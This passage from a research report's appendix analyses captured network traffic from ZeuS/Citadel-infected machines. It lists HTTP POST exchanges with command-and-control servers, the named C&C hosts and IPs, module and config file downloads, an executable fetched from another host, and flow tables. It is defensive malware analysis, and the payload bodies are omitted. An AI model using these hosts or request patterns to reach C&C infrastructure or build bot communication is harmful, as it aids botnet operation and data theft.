Content-Type: text/html
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( non-readable content removed )

For this connection, Argus created six flows, two for the HTTP requests and responses
and four with unanswered packets from the client to close the connection.
Table A-38: Flows from Fourth Connection in File 2d7
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1033

199.201.122.227

80

4.627199

4123

1287

7

8

1033

199.201.122.227

80

1.001572

120

390

2

2

1033

199.201.122.227

80

1.793639

120

0

2

0

1033

199.201.122.227

80

0.000000

60

0

1

0

1033

199.201.122.227

80

0.000000

60

0

1

0

1033

199.201.122.227

80

0.000000

60

0

1

0

Fifth Connection: Source Port 1034, Destination IP 173.194.40.241
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was an example of the Google Webhp redirect and beyond the scope of
this work.

GET /webhp HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.google.com
Cache-Control: no-cache
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HTTP/1.1 302 Found
Location: http://www.google.se/webhp?gfe_rd=ctrl&ei=ht40U8G3HWO8QfHwoDAAQ&gws_rd=cr
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Set-Cookie:
PREF=ID=d37cbd36766b67cb:FF=0:TM=1395973766:LM=1395973766:S=u6DmDJ_ftlh6zvE; expires=Sun, 27-Mar-2016 02:29:26 GMT; path=/;
domain=.google.com
Set-Cookie: NID=67=XggWzWj_gWLFqr_pFPcmWJliBqPCtOk9ztUCoc1gMrV4HXDfkh5ZFZcTWm0mX25IqejlH_a1ENDlP86scmEFKgxWDr5FbbLWn8ZZn4NZ0TBYSE4BJ
WJZptj0OXBU8VJ; expires=Sat, 27-Sep-2014 02:29:26 GMT; path=/;
domain=.google.com; HttpOnly
P3P: CP="This is not a P3P policy! See
http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165
7 for more info."
Date: Fri, 28 Mar 2014 02:29:26 GMT
Server: gws
Content-Length: 279
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic
Connection: close
( html content removed )

For this connection, Argus created one flow.
Table A-39: Flows from Fifth Connection in File 2d7
sport
1034

daddr
173.194.40.241

dport
80

dur
0.502010

sbytes

dbytes

spkts

dpkts

467

1422

5

5
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Sixth Connection: Source Port 1035, Destination IP 173.194.40.247
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was an example of the Google Webhp redirect and beyond the scope of
this work.

GET /webhp?gfe_rd=ctrl&ei=ht40U8G3H-WO8QfHwoDAAQ&gws_rd=cr HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Cache-Control: no-cache
Host: www.google.se

HTTP/1.1 200 OK
Date: Fri, 28 Mar 2014 02:29:27 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Set-Cookie:
PREF=ID=d486b8dd37fdc592:FF=0:TM=1395973767:LM=1395973767:S=CpD_b8Pxz2N
3gQ6k; expires=Sun, 27-Mar-2016 02:29:27 GMT; path=/; domain=.google.se
Set-Cookie:
NID=67=kTatCaQ0l7SRAO51WSNQLbj9J1r00IXqG22CjqJOkBg57pObnQdh76_VE47kEjo7
lS4W7aQLn89efOcgY3o_GCPOvKZX_jQID70oEnmbqA4Tfij3ypgCfeiWxK_dVCR8;
expires=Sat, 27-Sep-2014 02:29:27 GMT; path=/; domain=.google.se;
HttpOnly
P3P: CP="This is not a P3P policy! See
http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165
7 for more info."
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
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Alternate-Protocol: 80:quic
Connection: close
( html/script content removed )

For this connection, Argus created one flow.
Table A-40: Flows from Sixth Connection in File 2d7
sport
1035

daddr

dport

173.194.40.247

80

dur

sbytes

dbytes

spkts

dpkts

1354

30679

19

26

0.703918

Seventh Connection: Source Port 1036, Destination IP 199.201.122.227
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was similar to those in the fourth connection. The request had a message
body with a length of 377 bytes and no readable text. The response had a message body
with a length of 64 bytes and unique content.

POST /media/system/css/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: ad-amirsarvi.ir
Content-Length: 377
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Fri, 28 Mar 2014 02:16:48 GMT
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Server: Apache/2
X-Powered-By: PHP/5.4.25
Vary: User-Agent
Content-Length: 64
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: text/html
( non-readable content removed )

For this connection, Argus created six flows, two for the HTTP request and response
and four with unanswered FIN-ACK packets from the client to close the connection.
Table A-41: Flows from Seventh Connection in File 2d7
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1036

199.201.122.227

80

3.356106

894

178

5

3

1036

199.201.122.227

80

1.937593

120

391

2

2

1036

199.201.122.227

80

2.694393

120

0

2

0

1036

199.201.122.227

80

0.000000

60

0

1

0

1036

199.201.122.227

80

0.000000

60

0

1

0

1036

199.201.122.227

80

0.000000

60

0

1

0

Eighth Connection: Source Port 1040, Destination IP 199.201.122.227
The HTTP content over this TCP connection consisted of five requests from the local
client to the remote server with corresponding responses from the remote server. These
exchanges were similar to those in previous connections specifying the “gate.php”
resource. All requests and responses had message bodies with unique content and no
readable text. Two of the five requests had the same content length. All of the responses
again had a content length of 64 bytes. This could suggest that the content was padded
and encrypted to result in an entity of that length.
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POST /media/system/css/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: ad-amirsarvi.ir
Content-Length: 527
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Fri, 28 Mar 2014 02:19:49 GMT
Server: Apache/2
X-Powered-By: PHP/5.4.25
Vary: User-Agent
Content-Length: 64
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: text/html
( non-readable content removed )

POST /media/system/css/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: ad-amirsarvi.ir
Content-Length: 1215
Connection: Keep-Alive
Cache-Control: no-cache
(binary content removed )
HTTP/1.1 200 OK
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Date: Fri, 28 Mar 2014 02:19:54 GMT
Server: Apache/2
X-Powered-By: PHP/5.4.25
Vary: User-Agent
Content-Length: 64
Keep-Alive: timeout=1, max=99
Connection: Keep-Alive
Content-Type: text/html
( non-readable content removed )

POST /media/system/css/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: ad-amirsarvi.ir
Content-Length: 540
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Fri, 28 Mar 2014 02:19:56 GMT
Server: Apache/2
X-Powered-By: PHP/5.4.25
Vary: User-Agent
Content-Length: 64
Keep-Alive: timeout=1, max=98
Connection: Keep-Alive
Content-Type: text/html
( non-readable content removed )
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POST /media/system/css/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: ad-amirsarvi.ir
Content-Length: 540
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Fri, 28 Mar 2014 02:19:57 GMT
Server: Apache/2
X-Powered-By: PHP/5.4.25
Vary: User-Agent
Content-Length: 64
Keep-Alive: timeout=1, max=97
Connection: Keep-Alive
Content-Type: text/html
( non-readable content removed )

POST /media/system/css/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: ad-amirsarvi.ir
Content-Length: 4168
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Fri, 28 Mar 2014 02:19:58 GMT
Server: Apache/2
X-Powered-By: PHP/5.4.25
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Vary: User-Agent
Content-Length: 64
Keep-Alive: timeout=1, max=96
Connection: Keep-Alive
Content-Type: text/html
( non-readable content removed )

For this connection, Argus created four flows, three for the HTTP requests and
responses and a fourth with the packets to close the connection.
Table A-42: Flows from Eighth Connection in File 2d7
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1040

199.201.122.227

80

1.005816

922

116

3

2

1040

199.201.122.227

80

4.427854

7827

1507

9

7

1040

199.201.122.227

80

3.580216

220

270

1

5

1040

199.201.122.227

80

0.244170

186

390

3

2

Ninth Connection: Source Port 1041, Destination IP 199.201.122.227
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was similar to those in previous connections specifying the “file.php”
resource. Both the request and response had message bodies with no readable text.
Although the request had a message body of 122 bytes, same as in the first connection,
the content was different. The content of the response message body, again specified as
filename “config.dll” using the Content-Disposition header, was the same as in the first
connection.
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POST /media/system/css/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: ad-amirsarvi.ir
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Fri, 28 Mar 2014 02:20:16 GMT
Server: Apache/2
X-Powered-By: PHP/5.4.25
Cache-Control: public
Content-Disposition: attachment; filename="%2e/files/config.dll"
Content-Transfer-Encoding: binary
Content-Length: 5360
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream
( non-readable content removed )

For this connection, Argus created one flow.
Table A-43: Flows from Ninth Connection in File 2d7
sport
1041

daddr
199.201.122.227

dport
80

dur
2.440082

sbytes

dbytes

spkts

dpkts

817

6176

8

8

The behavior observed in the connections of this sample file (2d7) differed from that
reported by Alserhani, Akhlaq, Awan, and Cullen (2010), Binsalleeh, Ormerod,
Boukhtouta, Sinha, Youssef, Debbabi, and Wang (2010), and Riccardi, Di Pietro,
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Palanques, and Vila (2013). Here the infected client appeared to request updated
configuration files with a POST method as opposed to the GET method reported by these
researchers. The command and control (C&C) server responded with the file “config.dll”
as opposed to the file “config.bin” reported by Binsalleeh et al. Here the client also
requested other files from the C&C server that were not previously reported, namely
“cit_video.module” and “cit_ffcookie.module.” In each case, the POST method
specifying resource “file.php” (POST /media/system/css/file.php HTTP/1.1) was used to
request files and the POST method specifying “gate.php” (POST
/media/system/css/gate.php HTTP/1.1) was used to provide information, likely status
updates and stolen data. This latter behavior matches the communications behavior
reported by Binsalleeh et al. to include the resource name. Riccardi, Di Pietro,
Palanques, and Vila (2013) reported that “gate.php” was among the pages in the Zeus
control panels root directory. They further reported that this PHP page on the C&C
server is responsible for handling incoming POST messages. The timing of requests,
based on the Date header in the responses, appeared to be POST requests for file updates
(file.php) every four minutes and POST requests with status information or stolen data
(gate.php) every three minutes. The latter POST requests were issued in sets of five,
which was not previously reported in the literature.
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Sample File 9ca collected on 27 Mar 2014 with total time 4 minutes 55 seconds
This network trace sample file consisted of nine successful TCP connections. A
column is included in the table to indicate whether the connection was preceded by a
DNS query when the HTTP Host Header field specified a domain name as opposed to an
IP address. In this case domain names were specified for the suspicious servers.
Table A-44: Summary of Connections in File 9ca
Source Port

Destination IP

HTTP Host Header

DNS?

1030

200.98.246.214

saudeodontos.com.br

Yes

1031

200.98.246.214

saudeodontos.com.br

n/a

1032

200.98.246.214

saudeodontos.com.br

n/a

1033

173.194.40.240

www.google.com

Yes

1034

173.194.40.255

www.google.se

Yes

1035

200.98.246.214

saudeodontos.com.br

n/a

1036

85.158.181.11

www.two-of-us.at

Yes

1040

200.98.246.214

saudeodontos.com.br

n/a

1041

200.98.246.214

saudeodontos.com.br

n/a

First Connection: Source Port 1030, Destination IP 200.98.246.214
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request, a POST method, specified a resource named “file.php” along with its
relative path. The request included a message body with a length of 128 bytes. The
message body contained no readable text. The Connection header specified Keep-Alive
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to explicitly maintain a persistent connection after the response was complete, suggesting
that additional requests might follow. The Cache-Control header specified No-Cache to
prevent caching by all caching mechanisms in proxies or gateways along the request
chain. The response, successful status code 200 OK, included a message body with a
length of 177951 bytes. The filename “cit_video.module” was specified for this message
body using the Content-Disposition header. The Content-Disposition header was used to
recommend storing rather than displaying of the file by the client.

POST /media/system/images/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: saudeodontos.com.br
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 19:02:25 GMT
Content-Type: application/octet-stream
Connection: keep-alive
Keep-Alive: timeout=15
Server: Apache
Cache-Control: public
Content-Disposition: attachment; filename="%2e/files/cit_video.module"
Content-Transfer-Encoding: binary
Content-Length: 177951
( non-readable content removed )
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ZeuS Tracker reports this hostname and IP address as a known ZeuS Command and
Control (C&C) host in Brazil. The figure illustrates the results of the IP search.
(https://zeustracker.abuse.ch/monitor.php?search=200.98.246.214)

Figure A-2: Positive ZeuS Tracker Results for 200.98.246.214

For this connection, Argus created four flows, two for the HTTP requests and
responses and two with packets to close the connection.
Table A-45: Flows from First Connection in File 9ca
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1030

200.98.246.214

80

4.962722

2588

83764

37

63

1030

200.98.246.214

80

1.713675

3186

108847

52

79

1030

200.98.246.214

80

0.000000

60

54

1

1
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1030

200.98.246.214

80

0.403900

60

54

1

1

Second Connection: Source Port 1031, Destination IP 200.98.246.214
The HTTP content over this TCP connection consisted of two requests from the local
client to the remote server with corresponding responses from the remote server. The
request, a POST method, specified a resource named “file.php” along with its relative
path. The request included a message body with a length of 122 bytes and no readable
text. The Connection header specified Keep-Alive to explicitly maintain a persistent
connection after the response was complete, suggesting that additional requests might
follow. The Cache-Control header specified No-Cache to prevent caching by all caching
mechanisms in proxies or gateways along the request chain. The response, successful
status code 200 OK, included a message body with a length of 5376 bytes. The filename
“config.dll” was specified for this message body using the Content-Disposition header.

POST /media/system/images/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: saudeodontos.com.br
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache
(binary content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 19:02:25 GMT
Content-Type: application/octet-stream
Connection: keep-alive
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Keep-Alive: timeout=15
Server: Apache
Cache-Control: public
Content-Disposition: attachment; filename="%2e/files/config.dll"
Content-Transfer-Encoding: binary
Content-Length: 5376
( non-readable content removed )

The second request, a POST method, specified a resource named “file.php” along with its
relative path. The request included a message body with a length of 131 bytes. The
message body contained no readable text. The use of headers was the same as in the
previous exchange. The response, successful status code 200 OK, included a message
body with a length of 221471 bytes. The content of the response message body was
identified as a named file (cit_ffcookie.module) using the Content-Disposition header.
The Content-Disposition header was used to recommend storing rather than displaying of
the file by the user agent.

POST /media/system/images/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: saudeodontos.com.br
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 19:02:32 GMT
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Content-Type: application/octet-stream
Connection: keep-alive
Keep-Alive: timeout=15
Server: Apache
Cache-Control: public
Content-Disposition: attachment;
filename="%2e/files/cit_ffcookie.module"
Content-Transfer-Encoding: binary
Content-Length: 221471
(binary content removed )

For this connection, Argus created four flows, three for the HTTP requests and
responses and a fourth with the packets to close the connection.
Table A-46: Flows from Second Connection in File 9ca
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1031

200.98.246.214

80

1.782831

764

6122

7

8

1031

200.98.246.214

80

4.994077

4131

129455

63

94

1031

200.98.246.214

80

1.510830

2226

101405

37

74

1031

200.98.246.214

80

3.422332

120

108

2

2

Third Connection: Source Port 1032, Destination IP 200.98.246.214
The HTTP content over this TCP connection consisted of four requests from the local
client to the remote server with corresponding responses from the remote server. Each
request consisted of a POST method specifying the “gate.php” resource and contained
message bodies with no readable text. Each had a different content length and unique
content. The responses all had a content length of 64 bytes but each had unique content.
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This could suggest that the content was padded and encrypted to result in an entity of that
length.

POST /media/system/images/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: saudeodontos.com.br
Content-Length: 525
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 19:02:55 GMT
Content-Type: text/html
Connection: keep-alive
Keep-Alive: timeout=15
Server: Apache
Content-Length: 64
( non-readable content removed )

POST /media/system/images/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: saudeodontos.com.br
Content-Length: 1213
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
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HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 19:02:56 GMT
Content-Type: text/html
Connection: keep-alive
Keep-Alive: timeout=15
Server: Apache
Content-Length: 64
( non-readable content removed )

POST /media/system/images/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: saudeodontos.com.br
Content-Length: 538
Connection: Keep-Alive
Cache-Control: no-cache
(binary content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 19:02:57 GMT
Content-Type: text/html
Connection: keep-alive
Keep-Alive: timeout=15
Server: Apache
Content-Length: 64
( non-readable content removed )

POST /media/system/images/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: saudeodontos.com.br
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Content-Length: 245
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 19:03:06 GMT
Content-Type: text/html
Connection: keep-alive
Keep-Alive: timeout=15
Server: Apache
Content-Length: 64
( non-readable content removed )

For this connection, Argus created six flows, two for the HTTP requests and responses
and four with packets to close the connection.
Table A-47: Flows from Third Connection in File 9ca
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1032

200.98.246.214

80

2.960269

3353

1127

7

8

1032

200.98.246.214

80

0.613338

585

337

2

2

1032

200.98.246.214

80

0.000000

60

54

1

1

1032

200.98.246.214

80

4.606362

120

0

2

0

1032

200.98.246.214

80

0.000000

60

0

1

0

1032

200.98.246.214

80

0.000000

60

0

1

0

Fourth Connection: Source Port 1033, Destination IP 173.194.40.240
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.

250

This exchange was an example of the Google Webhp redirect and beyond the scope of
this work.

GET /webhp HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.google.com
Cache-Control: no-cache

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location:
http://www.google.se/webhp?gfe_rd=cr&ei=3nU0U9bWMeOO8Qe10IGAAQ
Content-Length: 263
Date: Thu, 27 Mar 2014 19:02:54 GMT
Server: GFE/2.0
Alternate-Protocol: 80:quic
Connection: close
( html content removed )

For this connection, Argus created a single flow.
Table A-48: Flows from Fourth Connection in File 9ca
sport
1033

daddr
173.194.40.240

dport
80

dur
0.536148

sbytes

dbytes

spkts

dpkts

467

824

5

5
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Fifth Connection: Source Port 1034, Destination IP 173.194.40.255
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was an example of the Google Webhp redirect and beyond the scope of
this work.

GET /webhp?gfe_rd=cr&ei=3nU0U9bWMeOO8Qe10IGAAQ HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Cache-Control: no-cache
Host: www.google.se

HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 19:02:55 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Set-Cookie:
PREF=ID=3ecf050e7f29beba:FF=0:TM=1395946975:LM=1395946975:S=XB9tJLEKQ0q
d3a0s; expires=Sat, 26-Mar-2016 19:02:55 GMT; path=/; domain=.google.se
Set-Cookie: NID=67=GdIT7qYHZBfLFIeTiWLEEkFnNSR3wtbp0fbq3Wc6yQKYb8emitdWgccWDhK9Hwc7kQUasOi0X_wBrZUdFqQVpvgOSrFO
dTa1c0VxUhqgqyBo2f503rFyGr0M-4WzbrS; expires=Fri, 26-Sep-2014 19:02:55
GMT; path=/; domain=.google.se; HttpOnly
P3P: CP="This is not a P3P policy! See
http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165
7 for more info."
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic
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Connection: close
( html/script content removed )

For this connection, Argus created a single flow.
Table A-49: Flows from Fifth Connection in File 9ca
sport
1034

daddr

dport

173.194.40.255

80

dur
0.861316

sbytes

dbytes

spkts

dpkts

1222

30625

17

25

Sixth Connection: Source Port 1035, Destination IP 200.98.246.214
The HTTP content over this TCP connection consisted of two requests from the local
client to the remote server with corresponding responses from the remote server. These
exchanges are similar to those previous specifying the “gate.php” resource. The requests
contain message bodies with different lengths and different content. The responses also
contain messages bodies with different lengths and different content. Unlike the previous
exchanges, the first response had a length of 132 bytes, not the more commonly observed
64 bytes. This suggests additional information was encrypted and passed.

POST /media/system/images/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: saudeodontos.com.br
Content-Length: 372
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
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HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 19:02:56 GMT
Content-Type: text/html
Connection: keep-alive
Keep-Alive: timeout=15
Server: Apache
Content-Length: 132
( non-readable content removed )

POST /media/system/images/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: saudeodontos.com.br
Content-Length: 538
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 19:02:57 GMT
Content-Type: text/html
Connection: keep-alive
Keep-Alive: timeout=15
Server: Apache
Content-Length: 64
( non-readable content removed )

For this connection, Argus created six flows, one for the HTTP requests and responses
and the others with only packets to close the connection.

254

Table A-50: Flows from Sixth Connection in File 9ca
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1035

200.98.246.214

80

2.026271

1712

805

6

5

1035

200.98.246.214

80

0.000000

60

54

1

1

1035

200.98.246.214

80

0.000000

60

0

1

0

1035

200.98.246.214

80

0.000000

60

0

1

0

1035

200.98.246.214

80

0.000000

60

0

1

0

1035

200.98.246.214

80

0.000000

60

0

1

0

Seventh Connection: Source Port 1036, Destination IP 85.158.181.11
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request, a GET method, specified a resource named “file.exe” along with its relative
path. The request did not include a message body. The response, successful status code
200 OK, included a message body with a length of 790528 bytes. The response also used
the ETag header to uniquely identify the entity, which was further described as an
Application/Octet-Stream using the Content-Type header. In this case it appears to be a
MS Windows executable file based on the MZ Header with human-readable text
embedded in its first line stating “This program cannot be run in DOS mode.” More
human-readable text was embedded near the end of the entity, indicative of a string table
in an MS Windows executable file. Notable was the text “CorExeMain.mscoree.dll” for
a dynamic linked library and the text “Internal Name BCoin.exe” and “Original Filename
BCoin.exe” for the executable name.
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GET /images/file.exe HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.two-of-us.at
Cache-Control: no-cache

HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 19:02:57 GMT
Server: Apache
Last-Modified: Mon, 24 Mar 2014 05:59:39 GMT
ETag: "22cac4-c1000-4f553f0df32ab"
Accept-Ranges: bytes
Content-Length: 790528
Vary: User-Agent
Connection: close
Content-Type: application/octet-stream
MZ......................@..............................................
.!..L.!This program cannot be run in DOS mode.^M
( non-readable content removed )
( among embedded text near the end: Internal name BCoin.exe )

Neither the hostname nor the IP address of this server was listed in ZeuS Tracker.
For this connection, Argus created two flows.
Table A-51: Flows from Seventh Connection in File 9ca
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1036

85.158.181.11

80

4.999082

10439

426232

171

309

1036

85.158.181.11

80

4.122364

11160

396765

186

287
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Eighth Connection: Source Port 1040, Destination IP 200.98.246.214
The HTTP content over this TCP connection consisted of five requests from the local
client to the remote server with corresponding responses from the remote server. These
exchanges were similar to those in previous connections requesting specifying the
“gate.php” resource. All requests and responses had message bodies with unique content.
Two of the five requests had the same content length. All of the responses again had a
content length of 64 bytes. This could suggest that the content was padded and encrypted
to result in an entity of that length.

POST /media/system/images/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: saudeodontos.com.br
Content-Length: 517
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 19:05:58 GMT
Content-Type: text/html
Connection: keep-alive
Keep-Alive: timeout=15
Server: Apache
Content-Length: 64
( non-readable content removed )
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POST /media/system/images/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: saudeodontos.com.br
Content-Length: 1205
Connection: Keep-Alive
Cache-Control: no-cache
(binary content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 19:05:59 GMT
Content-Type: text/html
Connection: keep-alive
Keep-Alive: timeout=15
Server: Apache
Content-Length: 64
( non-readable content removed )

POST /media/system/images/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: saudeodontos.com.br
Content-Length: 530
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 19:05:59 GMT
Content-Type: text/html
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Connection: keep-alive
Keep-Alive: timeout=15
Server: Apache
Content-Length: 64
( non-readable content removed )

POST /media/system/images/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: saudeodontos.com.br
Content-Length: 530
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 19:05:59 GMT
Content-Type: text/html
Connection: keep-alive
Keep-Alive: timeout=15
Server: Apache
Content-Length: 64
( non-readable content removed )

POST /media/system/images/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: saudeodontos.com.br
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Content-Length: 4152
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 19:06:00 GMT
Content-Type: text/html
Connection: keep-alive
Keep-Alive: timeout=15
Server: Apache
Content-Length: 64
( non-readable content removed )

For this connection, Argus created three flows, one for the HTTP requests and responses
and two with only packets to close the connection.
Table A-52: Flows from Eighth Connection in File 9ca
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1040

200.98.246.214

80

2.930238

8788

2017

13

16

1040

200.98.246.214

80

0.000000

60

54

1

1

1040

200.98.246.214

80

0.336374

60

54

1

1

Ninth Connection: Source Port 1041, Destination IP 200.98.246.214
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request, a POST method, specified a resource named “file.php” along with its
relative path. The request included a message body with a length of 122 bytes. The
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message body contained no readable text. This request was very similar to the first
request in the second connection in terms of header usage and content length. However,
the message body content of the request was different. The response, successful status
code 200 OK, included a message body with a length of 5376 bytes. The filename
“config.dll” was specified for this message body using the Content-Disposition header.
The content of the response message body was the same as in the previous response with
this named file.

POST /media/system/images/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: saudeodontos.com.br
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 19:06:27 GMT
Content-Type: application/octet-stream
Connection: keep-alive
Keep-Alive: timeout=15
Server: Apache
Cache-Control: public
Content-Disposition: attachment; filename="%2e/files/config.dll"
Content-Transfer-Encoding: binary
Content-Length: 5376
( non-readable content removed )
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For this connection, Argus created two flows, one for the HTTP request and response
and another with packets to close the connection.
Table A-53: Flows from Ninth Connection in File 9ca
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1041

200.98.246.214

80

1.265840

704

6068

6

7

1041

200.98.246.214

80

0.101395

60

54

1

1

The behavior observed in the connections of this sample file (9ca) was very similar to
the behavior observed in the connections of the previous sample file (2d7), keeping in
mind that this file (9ca) preceded the other (2d7) chronologically by one day. The POST
method was used with a resource named “file.php” to request files from a known Zeus
command and control server. Three of the same files were requested. Two of the files
were exactly the same size, and one (config.dll) had a length differing by only 16 bytes.
